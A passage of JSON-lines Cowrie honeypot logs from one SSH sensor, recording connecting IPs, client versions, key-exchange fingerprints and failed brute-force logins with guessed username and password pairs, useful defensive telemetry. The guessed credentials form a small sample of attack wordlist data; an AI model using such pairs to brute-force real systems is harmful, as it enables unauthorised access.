","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:14.968350Z","src_ip":"2.57.122.208","session":"d59e07615069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:15.323004Z","src_ip":"2.57.122.208","session":"d59e07615069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:16.423277Z","src_ip":"2.57.122.208","session":"d59e07615069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":45314,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fb025c4945e","protocol":"ssh","message":"New connection: 45.79.127.249:45314 (10.17.0.5:22) [session: 0fb025c4945e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:39.516611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:39.521053Z","src_ip":"45.79.127.249","session":"0fb025c4945e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:39.724314Z","src_ip":"45.79.127.249","session":"0fb025c4945e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ursula","password":"ursula","message":"login attempt [ursula/ursula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:40.134532Z","src_ip":"45.79.127.249","session":"0fb025c4945e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:41.340374Z","src_ip":"45.79.127.249","session":"0fb025c4945e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.117","src_port":35788,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c7170071f76","protocol":"ssh","message":"New connection: 103.59.94.117:35788 (159.203.135.109:22) [session: 6c7170071f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:48.143375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:48.147837Z","src_ip":"103.59.94.117","session":"6c7170071f76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:48.394922Z","src_ip":"103.59.94.117","session":"6c7170071f76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhao","password":"12345","message":"login attempt [zhao/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:49.415847Z","src_ip":"103.59.94.117","session":"6c7170071f76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:51:50.665503Z","src_ip":"103.59.94.117","session":"6c7170071f76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":36756,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6eb8098bbec","protocol":"ssh","message":"New connection: 45.134.9.27:36756 (159.203.135.109:22) [session: e6eb8098bbec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:06.237469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:06.241819Z","src_ip":"45.134.9.27","session":"e6eb8098bbec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:06.304350Z","src_ip":"45.134.9.27","session":"e6eb8098bbec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hugo","password":"hugo123","message":"login attempt [hugo/hugo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:06.596236Z","src_ip":"45.134.9.27","session":"e6eb8098bbec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:07.661424Z","src_ip":"45.134.9.27","session":"e6eb8098bbec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":43790,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c132c922df6","protocol":"ssh","message":"New connection: 80.94.92.168:43790 (10.17.0.5:22) [session: 5c132c922df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:11.272604Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:11.382912Z","src_ip":"80.94.92.168","session":"5c132c922df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":59614,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3932ee5493c","protocol":"ssh","message":"New connection: 103.13.206.100:59614 (10.17.0.5:22) [session: f3932ee5493c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:33.812962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:33.816456Z","src_ip":"103.13.206.100","session":"f3932ee5493c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:34.042886Z","src_ip":"103.13.206.100","session":"f3932ee5493c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cris","password":"12345","message":"login attempt [cris/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:34.985610Z","src_ip":"103.13.206.100","session":"f3932ee5493c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:36.214405Z","src_ip":"103.13.206.100","session":"f3932ee5493c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":38640,"dst_ip":"159.203.135.109","dst_port":22,"session":"cde6b5460b4e","protocol":"ssh","message":"New connection: 34.81.72.185:38640 (159.203.135.109:22) [session: cde6b5460b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:40.311800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:40.315846Z","src_ip":"34.81.72.185","session":"cde6b5460b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:40.507993Z","src_ip":"34.81.72.185","session":"cde6b5460b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"macha","password":"macha","message":"login attempt [macha/macha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:41.308700Z","src_ip":"34.81.72.185","session":"cde6b5460b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:52:42.503373Z","src_ip":"34.81.72.185","session":"cde6b5460b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39646,"dst_ip":"10.17.0.5","dst_port":22,"session":"031cabcfd7bd","protocol":"ssh","message":"New connection: 2.57.122.208:39646 (10.17.0.5:22) [session: 031cabcfd7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:31.324903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:31.330347Z","src_ip":"2.57.122.208","session":"031cabcfd7bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:31.462769Z","src_ip":"2.57.122.208","session":"031cabcfd7bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:31.848438Z","src_ip":"2.57.122.208","session":"031cabcfd7bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:32.977414Z","src_ip":"2.57.122.208","session":"031cabcfd7bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.117","src_port":50244,"dst_ip":"159.203.135.109","dst_port":22,"session":"c79459f93b52","protocol":"ssh","message":"New connection: 103.59.94.117:50244 (159.203.135.109:22) [session: c79459f93b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:51.733290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:51.737256Z","src_ip":"103.59.94.117","session":"c79459f93b52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":47598,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd01559c6b0","protocol":"ssh","message":"New connection: 45.134.9.27:47598 (159.203.135.109:22) [session: 6fd01559c6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:51.779219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:51.783137Z","src_ip":"45.134.9.27","session":"6fd01559c6b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:51.847507Z","src_ip":"45.134.9.27","session":"6fd01559c6b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:51.979755Z","src_ip":"103.59.94.117","session":"c79459f93b52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steve","password":"12345678","message":"login attempt [steve/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:52.137216Z","src_ip":"45.134.9.27","session":"6fd01559c6b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hugo","password":"hugo123","message":"login attempt [hugo/hugo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:52.982913Z","src_ip":"103.59.94.117","session":"c79459f93b52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:53.203963Z","src_ip":"45.134.9.27","session":"6fd01559c6b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:53:54.228355Z","src_ip":"103.59.94.117","session":"c79459f93b52","protocol":"ssh"}
